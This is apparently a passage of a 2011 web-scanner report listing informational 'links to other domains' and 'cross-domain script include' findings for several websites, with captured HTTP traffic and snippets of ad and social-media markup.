http://http/bfl.flwoutdoors.com/tournament.cfm?cid=2&did=40&t=news&tday=3&atype=6&tid=6545&tyear=2010&aid=151098
http://www.shop.gamakatsu.com/scripts/PSP/VB_BRIDGE3.dll?VBEXE=F:%5CInetpub%5Cscripts%5CPSP%5Cbin%5Cshowwelcome.exe
http://www.spro.eu/
http://www.volusion.com/
https://verify.volusion.com/verification/www.spro.com

Request

GET /Default.asp?Redirected=Y HTTP/1.1
Host: www.spro.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 20:34:27 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Type: text/html
Set-Cookie: vsettings=; expires=Thu, 13-Sep-2012 07:00:00 GMT; path=/
Cache-control: private
Vary: Accept-Encoding, User-Agent
Content-Length: 71421

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javas
...[SNIP]...
</div>
<script type="text/javascript" src="https://verify.volusion.com/verification/www.spro.com" defer="defer"></script>
...[SNIP]...
<span style="font-size: 10pt;"><a href="http://www.spro.eu">

                                   <span style="font-size: 10pt;">
...[SNIP]...
</span><a style="color: rgb(128, 0, 128);" href="http://www.shop.gamakatsu.com/scripts/PSP/VB_BRIDGE3.dll?VBEXE=F:%5CInetpub%5Cscripts%5CPSP%5Cbin%5Cshowwelcome.exe">

                   <span style="font-size: 10pt;">
...[SNIP]...
<div align="left"><a style="background-color: rgb(0, 0, 0); color: rgb(128, 0, 128);" href="http://http://bfl.flwoutdoors.com/tournament.cfm?cid=2&did=40&t=news&tday=3&atype=6&tid=6545&tyear=2010&aid=151098">

                   <span style="font-weight: bold; font-size: 14pt; font-family: Arial;">
...[SNIP]...
"http://www.volusion.com" in the footer of the website. The link must be standard html, contain no javascript, and be approved by Volusion. Removing this link breaches the Volusion agreement.
   -->
       <a href="http://www.volusion.com" target="_blank">Shopping Cart</a>
...[SNIP]...

12.45. http://www.techwev.com/wp-content/themes/wp-clearv2.0/js/external.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.techwev.com
Path:	/wp-content/themes/wp-clearv2.0/js/external.js

Issue detail

The page was loaded from a URL containing a query string:

http://www.techwev.com/wp-content/themes/wp-clearv2.0/js/external.js?ver=3.2.1

The response contains the following links to other domains:

http://gan.doubleclick.net/gan_click?lid=41000000034210700&pubid=21000000000378594
http://gan.doubleclick.net/gan_click?lid=41000000036619220&pubid=21000000000378594
http://gan.doubleclick.net/gan_impression?lid=41000000034210700&pubid=21000000000378594
http://gan.doubleclick.net/gan_impression?lid=41000000036619220&pubid=21000000000378594
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://wordpress.org/
http://www.facebook.com/plugins/likebox.php?id=186795764687008&width=260&connections=10&stream=false&header=false&height=255
http://www.facebook.com/techwev
http://www.iconj.com/ico/9/r/9rzb8tx1el.ico
http://www.linkedin.com/in/techwev
http://www.solostream.com/
http://www.solostream.com/images/solo-banner-468-3.gif
http://www.twitter.com/techwev

Request

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:20:17 GMT
Server: Apache
X-Pingback: http://techwev.com/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.2.4
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Last-Modified: Mon, 19 Sep 2011 19:20:18 GMT
Content-Length: 28283
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head profile="http://gmpg.o
...[SNIP]...

<link href='http://www.iconj.com/ico/9/r/9rzb8tx1el.ico' rel='shortcut icon' type='image/x-icon'/>

<link rel="pingback" href="http://techwev.com/xmlrpc.php" />
...[SNIP]...
<div class="head-banner468">
   <a href='http://www.solostream.com'><img src='http://www.solostream.com/images/solo-banner-468-3.gif' alt='banner ad' /></a>
...[SNIP]...
</a>

   <a rel="external" title="Follow Me on Twitter" href="http://www.twitter.com/techwev"><img class="twitter-sub" src="http://techwev.com/wp-content/themes/wp-clear v2.0/images/twitter.png" alt="Follow Me on Twitter" align="top" /></a>

   <a title="Connect on Facebook" rel="external" href="http://www.facebook.com/techwev"><img class="facebook-sub" src="http://techwev.com/wp-content/themes/wp-clear v2.0/images/facebook.png" alt="Connect on Facebook" align="top" /></a>

   <a title="Connect on LinkedIn" rel="external" href="http://www.linkedin.com/in/techwev"><img class="linkedin-sub" src="http://techwev.com/wp-content/themes/wp-clear v2.0/images/linkedin.png" alt="Connect on LinkedIn" align="top" />
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
<center><iframe src="http://www.facebook.com/plugins/likebox.php?id=186795764687008&width=260&connections=10&stream=false&header=false&height=255" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:500px; height:255px;" allowtransparency="true"></iframe>
...[SNIP]...
<div class="textwidget"><a href="http://gan.doubleclick.net/gan_click?lid=41000000036619220&pubid=21000000000378594" onclick="javascript:_gaq.push(['_trackEvent','outbound-widget','http://gan.doubleclick.net']);"><img src="http://gan.doubleclick.net/gan_impression?lid=41000000036619220&pubid=21000000000378594" border=0 alt=""></a>
...[SNIP]...
<li><a href="http://wordpress.org/" title="Powered by WordPress, state-of-the-art semantic personal publishing platform.">WordPress.org</a>
...[SNIP]...
<div class="textwidget"><a href="http://gan.doubleclick.net/gan_click?lid=41000000034210700&pubid=21000000000378594" onclick="javascript:_gaq.push(['_trackEvent','outbound-widget','http://gan.doubleclick.net']);"><img src="http://gan.doubleclick.net/gan_impression?lid=41000000034210700&pubid=21000000000378594" border=0 alt="Cloud VPS Hosting"></a>
...[SNIP]...
</a>

   <a rel="external" title="Follow Me on Twitter" href="http://www.twitter.com/techwev"><img class="twitter-sub" src="http://techwev.com/wp-content/themes/wp-clear v2.0/images/twitter.png" alt="Follow Me on Twitter" align="top" /></a>

   <a title="Connect on Facebook" rel="external" href="http://www.facebook.com/techwev"><img class="facebook-sub" src="http://techwev.com/wp-content/themes/wp-clear v2.0/images/facebook.png" alt="Connect on Facebook" align="top" /></a>

   <a title="Connect on LinkedIn" rel="external" href="http://www.linkedin.com/in/techwev"><img class="linkedin-sub" src="http://techwev.com/wp-content/themes/wp-clear v2.0/images/linkedin.png" alt="Connect on LinkedIn" align="top" />
...[SNIP]...

12.46. http://www.techwev.com/wp-content/themes/wp-clearv2.0/js/jquery.cycle.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.techwev.com
Path:	/wp-content/themes/wp-clearv2.0/js/jquery.cycle.js

Issue detail

The page was loaded from a URL containing a query string:

http://www.techwev.com/wp-content/themes/wp-clearv2.0/js/jquery.cycle.js?ver=3.2.1

The response contains the following links to other domains:

http://gan.doubleclick.net/gan_click?lid=41000000034210700&pubid=21000000000378594
http://gan.doubleclick.net/gan_click?lid=41000000036619220&pubid=21000000000378594
http://gan.doubleclick.net/gan_impression?lid=41000000034210700&pubid=21000000000378594
http://gan.doubleclick.net/gan_impression?lid=41000000036619220&pubid=21000000000378594
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://wordpress.org/
http://www.facebook.com/plugins/likebox.php?id=186795764687008&width=260&connections=10&stream=false&header=false&height=255
http://www.facebook.com/techwev
http://www.iconj.com/ico/9/r/9rzb8tx1el.ico
http://www.linkedin.com/in/techwev
http://www.solostream.com/
http://www.solostream.com/images/solo-banner-468-3.gif
http://www.twitter.com/techwev

Request

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:20:33 GMT
Server: Apache
X-Pingback: http://techwev.com/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.2.4
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Last-Modified: Mon, 19 Sep 2011 19:20:36 GMT
Content-Length: 28283
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head profile="http://gmpg.o
...[SNIP]...

<link href='http://www.iconj.com/ico/9/r/9rzb8tx1el.ico' rel='shortcut icon' type='image/x-icon'/>

<link rel="pingback" href="http://techwev.com/xmlrpc.php" />
...[SNIP]...
<div class="head-banner468">
   <a href='http://www.solostream.com'><img src='http://www.solostream.com/images/solo-banner-468-3.gif' alt='banner ad' /></a>
...[SNIP]...
</a>

   <a rel="external" title="Follow Me on Twitter" href="http://www.twitter.com/techwev"><img class="twitter-sub" src="http://techwev.com/wp-content/themes/wp-clear v2.0/images/twitter.png" alt="Follow Me on Twitter" align="top" /></a>

   <a title="Connect on Facebook" rel="external" href="http://www.facebook.com/techwev"><img class="facebook-sub" src="http://techwev.com/wp-content/themes/wp-clear v2.0/images/facebook.png" alt="Connect on Facebook" align="top" /></a>

   <a title="Connect on LinkedIn" rel="external" href="http://www.linkedin.com/in/techwev"><img class="linkedin-sub" src="http://techwev.com/wp-content/themes/wp-clear v2.0/images/linkedin.png" alt="Connect on LinkedIn" align="top" />
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
<center><iframe src="http://www.facebook.com/plugins/likebox.php?id=186795764687008&width=260&connections=10&stream=false&header=false&height=255" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:500px; height:255px;" allowtransparency="true"></iframe>
...[SNIP]...
<div class="textwidget"><a href="http://gan.doubleclick.net/gan_click?lid=41000000036619220&pubid=21000000000378594" onclick="javascript:_gaq.push(['_trackEvent','outbound-widget','http://gan.doubleclick.net']);"><img src="http://gan.doubleclick.net/gan_impression?lid=41000000036619220&pubid=21000000000378594" border=0 alt=""></a>
...[SNIP]...
<li><a href="http://wordpress.org/" title="Powered by WordPress, state-of-the-art semantic personal publishing platform.">WordPress.org</a>
...[SNIP]...
<div class="textwidget"><a href="http://gan.doubleclick.net/gan_click?lid=41000000034210700&pubid=21000000000378594" onclick="javascript:_gaq.push(['_trackEvent','outbound-widget','http://gan.doubleclick.net']);"><img src="http://gan.doubleclick.net/gan_impression?lid=41000000034210700&pubid=21000000000378594" border=0 alt="Cloud VPS Hosting"></a>
...[SNIP]...
</a>

   <a rel="external" title="Follow Me on Twitter" href="http://www.twitter.com/techwev"><img class="twitter-sub" src="http://techwev.com/wp-content/themes/wp-clear v2.0/images/twitter.png" alt="Follow Me on Twitter" align="top" /></a>

   <a title="Connect on Facebook" rel="external" href="http://www.facebook.com/techwev"><img class="facebook-sub" src="http://techwev.com/wp-content/themes/wp-clear v2.0/images/facebook.png" alt="Connect on Facebook" align="top" /></a>

   <a title="Connect on LinkedIn" rel="external" href="http://www.linkedin.com/in/techwev"><img class="linkedin-sub" src="http://techwev.com/wp-content/themes/wp-clear v2.0/images/linkedin.png" alt="Connect on LinkedIn" align="top" />
...[SNIP]...

12.47. http://www.techwev.com/wp-content/themes/wp-clearv2.0/js/slideshow.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.techwev.com
Path:	/wp-content/themes/wp-clearv2.0/js/slideshow.js

Issue detail

The page was loaded from a URL containing a query string:

http://www.techwev.com/wp-content/themes/wp-clearv2.0/js/slideshow.js?ver=3.2.1

The response contains the following links to other domains:

http://gan.doubleclick.net/gan_click?lid=41000000034210700&pubid=21000000000378594
http://gan.doubleclick.net/gan_click?lid=41000000036619220&pubid=21000000000378594
http://gan.doubleclick.net/gan_impression?lid=41000000034210700&pubid=21000000000378594
http://gan.doubleclick.net/gan_impression?lid=41000000036619220&pubid=21000000000378594
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://wordpress.org/
http://www.facebook.com/plugins/likebox.php?id=186795764687008&width=260&connections=10&stream=false&header=false&height=255
http://www.facebook.com/techwev
http://www.iconj.com/ico/9/r/9rzb8tx1el.ico
http://www.linkedin.com/in/techwev
http://www.solostream.com/
http://www.solostream.com/images/solo-banner-468-3.gif
http://www.twitter.com/techwev

Request

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:20:18 GMT
Server: Apache
X-Pingback: http://techwev.com/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.2.4
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Last-Modified: Mon, 19 Sep 2011 19:20:20 GMT
Content-Length: 28283
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head profile="http://gmpg.o
...[SNIP]...

<link href='http://www.iconj.com/ico/9/r/9rzb8tx1el.ico' rel='shortcut icon' type='image/x-icon'/>

<link rel="pingback" href="http://techwev.com/xmlrpc.php" />
...[SNIP]...
<div class="head-banner468">
   <a href='http://www.solostream.com'><img src='http://www.solostream.com/images/solo-banner-468-3.gif' alt='banner ad' /></a>
...[SNIP]...
</a>

   <a rel="external" title="Follow Me on Twitter" href="http://www.twitter.com/techwev"><img class="twitter-sub" src="http://techwev.com/wp-content/themes/wp-clear v2.0/images/twitter.png" alt="Follow Me on Twitter" align="top" /></a>

   <a title="Connect on Facebook" rel="external" href="http://www.facebook.com/techwev"><img class="facebook-sub" src="http://techwev.com/wp-content/themes/wp-clear v2.0/images/facebook.png" alt="Connect on Facebook" align="top" /></a>

   <a title="Connect on LinkedIn" rel="external" href="http://www.linkedin.com/in/techwev"><img class="linkedin-sub" src="http://techwev.com/wp-content/themes/wp-clear v2.0/images/linkedin.png" alt="Connect on LinkedIn" align="top" />
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
<center><iframe src="http://www.facebook.com/plugins/likebox.php?id=186795764687008&width=260&connections=10&stream=false&header=false&height=255" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:500px; height:255px;" allowtransparency="true"></iframe>
...[SNIP]...
<div class="textwidget"><a href="http://gan.doubleclick.net/gan_click?lid=41000000036619220&pubid=21000000000378594" onclick="javascript:_gaq.push(['_trackEvent','outbound-widget','http://gan.doubleclick.net']);"><img src="http://gan.doubleclick.net/gan_impression?lid=41000000036619220&pubid=21000000000378594" border=0 alt=""></a>
...[SNIP]...
<li><a href="http://wordpress.org/" title="Powered by WordPress, state-of-the-art semantic personal publishing platform.">WordPress.org</a>
...[SNIP]...
<div class="textwidget"><a href="http://gan.doubleclick.net/gan_click?lid=41000000034210700&pubid=21000000000378594" onclick="javascript:_gaq.push(['_trackEvent','outbound-widget','http://gan.doubleclick.net']);"><img src="http://gan.doubleclick.net/gan_impression?lid=41000000034210700&pubid=21000000000378594" border=0 alt="Cloud VPS Hosting"></a>
...[SNIP]...
</a>

   <a rel="external" title="Follow Me on Twitter" href="http://www.twitter.com/techwev"><img class="twitter-sub" src="http://techwev.com/wp-content/themes/wp-clear v2.0/images/twitter.png" alt="Follow Me on Twitter" align="top" /></a>

   <a title="Connect on Facebook" rel="external" href="http://www.facebook.com/techwev"><img class="facebook-sub" src="http://techwev.com/wp-content/themes/wp-clear v2.0/images/facebook.png" alt="Connect on Facebook" align="top" /></a>

   <a title="Connect on LinkedIn" rel="external" href="http://www.linkedin.com/in/techwev"><img class="linkedin-sub" src="http://techwev.com/wp-content/themes/wp-clear v2.0/images/linkedin.png" alt="Connect on LinkedIn" align="top" />
...[SNIP]...

12.48. http://www.techwev.com/wp-content/themes/wp-clearv2.0/js/suckerfish-cat.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.techwev.com
Path:	/wp-content/themes/wp-clearv2.0/js/suckerfish-cat.js

Issue detail

The page was loaded from a URL containing a query string:

http://www.techwev.com/wp-content/themes/wp-clearv2.0/js/suckerfish-cat.js?ver=3.2.1

The response contains the following links to other domains:

http://gan.doubleclick.net/gan_click?lid=41000000034210700&pubid=21000000000378594
http://gan.doubleclick.net/gan_click?lid=41000000036619220&pubid=21000000000378594
http://gan.doubleclick.net/gan_impression?lid=41000000034210700&pubid=21000000000378594
http://gan.doubleclick.net/gan_impression?lid=41000000036619220&pubid=21000000000378594
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://wordpress.org/
http://www.facebook.com/plugins/likebox.php?id=186795764687008&width=260&connections=10&stream=false&header=false&height=255
http://www.facebook.com/techwev
http://www.iconj.com/ico/9/r/9rzb8tx1el.ico
http://www.linkedin.com/in/techwev
http://www.solostream.com/
http://www.solostream.com/images/solo-banner-468-3.gif
http://www.twitter.com/techwev

Request

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:20:25 GMT
Server: Apache
X-Pingback: http://techwev.com/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.2.4
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Last-Modified: Mon, 19 Sep 2011 19:20:26 GMT
Content-Length: 28283
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head profile="http://gmpg.o
...[SNIP]...

<link href='http://www.iconj.com/ico/9/r/9rzb8tx1el.ico' rel='shortcut icon' type='image/x-icon'/>

<link rel="pingback" href="http://techwev.com/xmlrpc.php" />
...[SNIP]...
<div class="head-banner468">
   <a href='http://www.solostream.com'><img src='http://www.solostream.com/images/solo-banner-468-3.gif' alt='banner ad' /></a>
...[SNIP]...
</a>

   <a rel="external" title="Follow Me on Twitter" href="http://www.twitter.com/techwev"><img class="twitter-sub" src="http://techwev.com/wp-content/themes/wp-clear v2.0/images/twitter.png" alt="Follow Me on Twitter" align="top" /></a>

   <a title="Connect on Facebook" rel="external" href="http://www.facebook.com/techwev"><img class="facebook-sub" src="http://techwev.com/wp-content/themes/wp-clear v2.0/images/facebook.png" alt="Connect on Facebook" align="top" /></a>

   <a title="Connect on LinkedIn" rel="external" href="http://www.linkedin.com/in/techwev"><img class="linkedin-sub" src="http://techwev.com/wp-content/themes/wp-clear v2.0/images/linkedin.png" alt="Connect on LinkedIn" align="top" />
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
<center><iframe src="http://www.facebook.com/plugins/likebox.php?id=186795764687008&width=260&connections=10&stream=false&header=false&height=255" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:500px; height:255px;" allowtransparency="true"></iframe>
...[SNIP]...
<div class="textwidget"><a href="http://gan.doubleclick.net/gan_click?lid=41000000036619220&pubid=21000000000378594" onclick="javascript:_gaq.push(['_trackEvent','outbound-widget','http://gan.doubleclick.net']);"><img src="http://gan.doubleclick.net/gan_impression?lid=41000000036619220&pubid=21000000000378594" border=0 alt=""></a>
...[SNIP]...
<li><a href="http://wordpress.org/" title="Powered by WordPress, state-of-the-art semantic personal publishing platform.">WordPress.org</a>
...[SNIP]...
<div class="textwidget"><a href="http://gan.doubleclick.net/gan_click?lid=41000000034210700&pubid=21000000000378594" onclick="javascript:_gaq.push(['_trackEvent','outbound-widget','http://gan.doubleclick.net']);"><img src="http://gan.doubleclick.net/gan_impression?lid=41000000034210700&pubid=21000000000378594" border=0 alt="Cloud VPS Hosting"></a>
...[SNIP]...
</a>

   <a rel="external" title="Follow Me on Twitter" href="http://www.twitter.com/techwev"><img class="twitter-sub" src="http://techwev.com/wp-content/themes/wp-clear v2.0/images/twitter.png" alt="Follow Me on Twitter" align="top" /></a>

   <a title="Connect on Facebook" rel="external" href="http://www.facebook.com/techwev"><img class="facebook-sub" src="http://techwev.com/wp-content/themes/wp-clear v2.0/images/facebook.png" alt="Connect on Facebook" align="top" /></a>

   <a title="Connect on LinkedIn" rel="external" href="http://www.linkedin.com/in/techwev"><img class="linkedin-sub" src="http://techwev.com/wp-content/themes/wp-clear v2.0/images/linkedin.png" alt="Connect on LinkedIn" align="top" />
...[SNIP]...

12.49. http://www.techwev.com/wp-content/themes/wp-clearv2.0/js/suckerfish.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.techwev.com
Path:	/wp-content/themes/wp-clearv2.0/js/suckerfish.js

Issue detail

The page was loaded from a URL containing a query string:

http://www.techwev.com/wp-content/themes/wp-clearv2.0/js/suckerfish.js?ver=3.2.1

The response contains the following links to other domains:

http://gan.doubleclick.net/gan_click?lid=41000000034210700&pubid=21000000000378594
http://gan.doubleclick.net/gan_click?lid=41000000036619220&pubid=21000000000378594
http://gan.doubleclick.net/gan_impression?lid=41000000034210700&pubid=21000000000378594
http://gan.doubleclick.net/gan_impression?lid=41000000036619220&pubid=21000000000378594
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://wordpress.org/
http://www.facebook.com/plugins/likebox.php?id=186795764687008&width=260&connections=10&stream=false&header=false&height=255
http://www.facebook.com/techwev
http://www.iconj.com/ico/9/r/9rzb8tx1el.ico
http://www.linkedin.com/in/techwev
http://www.solostream.com/
http://www.solostream.com/images/solo-banner-468-3.gif
http://www.twitter.com/techwev

Request

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:20:21 GMT
Server: Apache
X-Pingback: http://techwev.com/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.2.4
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Last-Modified: Mon, 19 Sep 2011 19:20:22 GMT
Content-Length: 28283
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head profile="http://gmpg.o
...[SNIP]...

<link href='http://www.iconj.com/ico/9/r/9rzb8tx1el.ico' rel='shortcut icon' type='image/x-icon'/>

<link rel="pingback" href="http://techwev.com/xmlrpc.php" />
...[SNIP]...
<div class="head-banner468">
   <a href='http://www.solostream.com'><img src='http://www.solostream.com/images/solo-banner-468-3.gif' alt='banner ad' /></a>
...[SNIP]...
</a>

   <a rel="external" title="Follow Me on Twitter" href="http://www.twitter.com/techwev"><img class="twitter-sub" src="http://techwev.com/wp-content/themes/wp-clear v2.0/images/twitter.png" alt="Follow Me on Twitter" align="top" /></a>

   <a title="Connect on Facebook" rel="external" href="http://www.facebook.com/techwev"><img class="facebook-sub" src="http://techwev.com/wp-content/themes/wp-clear v2.0/images/facebook.png" alt="Connect on Facebook" align="top" /></a>

   <a title="Connect on LinkedIn" rel="external" href="http://www.linkedin.com/in/techwev"><img class="linkedin-sub" src="http://techwev.com/wp-content/themes/wp-clear v2.0/images/linkedin.png" alt="Connect on LinkedIn" align="top" />
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
<center><iframe src="http://www.facebook.com/plugins/likebox.php?id=186795764687008&width=260&connections=10&stream=false&header=false&height=255" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:500px; height:255px;" allowtransparency="true"></iframe>
...[SNIP]...
<div class="textwidget"><a href="http://gan.doubleclick.net/gan_click?lid=41000000036619220&pubid=21000000000378594" onclick="javascript:_gaq.push(['_trackEvent','outbound-widget','http://gan.doubleclick.net']);"><img src="http://gan.doubleclick.net/gan_impression?lid=41000000036619220&pubid=21000000000378594" border=0 alt=""></a>
...[SNIP]...
<li><a href="http://wordpress.org/" title="Powered by WordPress, state-of-the-art semantic personal publishing platform.">WordPress.org</a>
...[SNIP]...
<div class="textwidget"><a href="http://gan.doubleclick.net/gan_click?lid=41000000034210700&pubid=21000000000378594" onclick="javascript:_gaq.push(['_trackEvent','outbound-widget','http://gan.doubleclick.net']);"><img src="http://gan.doubleclick.net/gan_impression?lid=41000000034210700&pubid=21000000000378594" border=0 alt="Cloud VPS Hosting"></a>
...[SNIP]...
</a>

   <a rel="external" title="Follow Me on Twitter" href="http://www.twitter.com/techwev"><img class="twitter-sub" src="http://techwev.com/wp-content/themes/wp-clear v2.0/images/twitter.png" alt="Follow Me on Twitter" align="top" /></a>

   <a title="Connect on Facebook" rel="external" href="http://www.facebook.com/techwev"><img class="facebook-sub" src="http://techwev.com/wp-content/themes/wp-clear v2.0/images/facebook.png" alt="Connect on Facebook" align="top" /></a>

   <a title="Connect on LinkedIn" rel="external" href="http://www.linkedin.com/in/techwev"><img class="linkedin-sub" src="http://techwev.com/wp-content/themes/wp-clear v2.0/images/linkedin.png" alt="Connect on LinkedIn" align="top" />
...[SNIP]...

12.50. https://www.twittergadget.com/gadget.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.twittergadget.com
Path:	/gadget.asp

Issue detail

The page was loaded from a URL containing a query string:

https://www.twittergadget.com/gadget.asp?scrm=YKGRdjBzcFN

The response contains the following link to another domain:

https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=EMNTBEWYXLDNW

Request

GET /gadget.asp?scrm=YKGRdjBzcFN HTTP/1.1
Host: www.twittergadget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:20:00 GMT
Server: Apache
P3P: CP="ALL DSP COR CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Cache-Control: no-cache, must-revalidate
Expires: Sat, 01 Jan 2000 00:00:00 GMT
Vary: Accept-Encoding
Content-Length: 2941
Connection: close
Content-Type: text/html; charset=UTF-8

<html>
<head>
<META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE">
<META Http-Equiv="Pragma" Content="no-cache">
<title>TwitterGadget: Twitter Client</title>
<style type="text/css">
<!--
* { outline:0
...[SNIP]...
<br><a target=_blank href=https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=EMNTBEWYXLDNW><img src=/images/btn_donate.gif>
...[SNIP]...

13. Cross-domain script include previous next
There are 126 instances of this issue:

http://www.cio.com/
http://www.cio.com/article/689607/Tech_Titans_We_Will_Miss_and_Ones_Better_Off_Dismissed
http://www.cio.com/article/689930/15_Add_Ons_to_Become_a_Gmail_Power_User
http://www.cnet.com/
http://www.cnet.com/internet-security/
http://www.coastaldentalcare.com/
http://www.computerworld.com/
http://www.connect.facebook.com/widgets/fan.php
https://www.createspace.com/3411525
https://www.createspace.com/Workflow/cart.do
https://www.createspace.com/en/community/community/member_showcase
https://www.credit-suisse.com/who_we_are/en/office_locator.jsp
http://www.csoonline.com/
http://www.csoonline.com/article/689774/facebook-pwn-tool-steals-profile-info-helps-social-engineers
https://www.cyscape.com/%22/products/bhtg//%22
https://www.cyscape.com/images/common/episodes.gif%22
https://www.cyscape.com/products/bhawk/
https://www.cyscape.com/products/bhtg/
https://www.cyscape.com/products/bhtg/howitworks.aspx
http://www.defenceindepth.net/2009/12/cracking-os-x-passwords.html
http://www.demo.com/
http://www.facebook.com/connect/connect.php
http://www.facebook.com/creditsuisse
http://www.facebook.com/plugins/likebox.php
http://www.filecluster.com/
http://www.filecluster.com/Games/
http://www.gamepro.com/
http://www.gamepro.com/lib/includes/ads/scripts/1x1_overlay.js
http://www.gamepro.com/lib/includes/ads/scripts/202x90.js
http://www.gamepro.com/lib/includes/ads/scripts/300x600.js
http://www.gamepro.com/lib/includes/ads/scripts/630x50.js
http://www.gamepro.com/lib/includes/ads/scripts/728x90.js
http://www.gamepro.com/lib/includes/ads/scripts/skybox.js
http://www.gamepro.com/lib/script/typekitcheck.js
http://www.games.net/
http://www.genuinewin7.com/
http://www.goclio.com/
http://www.goclio.com/legal/privacy/
http://www.goclio.com/legal/tos/
http://www.goclio.com/our_customers/
http://www.goclio.com/signup/
http://www.goclio.com/tour/
http://www.google.com/ig/adde
http://www.horde.org/
http://www.idc.com/
http://www.idgconnect.com/
http://www.ilovefreesoftware.com/
http://www.ilovefreesoftware.com/category/programming
http://www.ilovefreesoftware.com/category/theme/default/style.css
http://www.ilovefreesoftware.com/wp-content/plugins/wp-secure-by-sitesecuritymonitorcom/css/removenotice.css
http://www.ilovefreesoftware.com/wp-content/w3tc/min/abb96/default.include-footer.28a678.js
http://www.ilovefreesoftware.com/wp-content/w3tc/min/abb96/default.include.4a6bbc.js
http://www.infoworld.com/
http://www.itworld.com/
http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
http://www.law.com/jsp/lawtechnologynews/index.jsp
http://www.lifehacker.com.au/
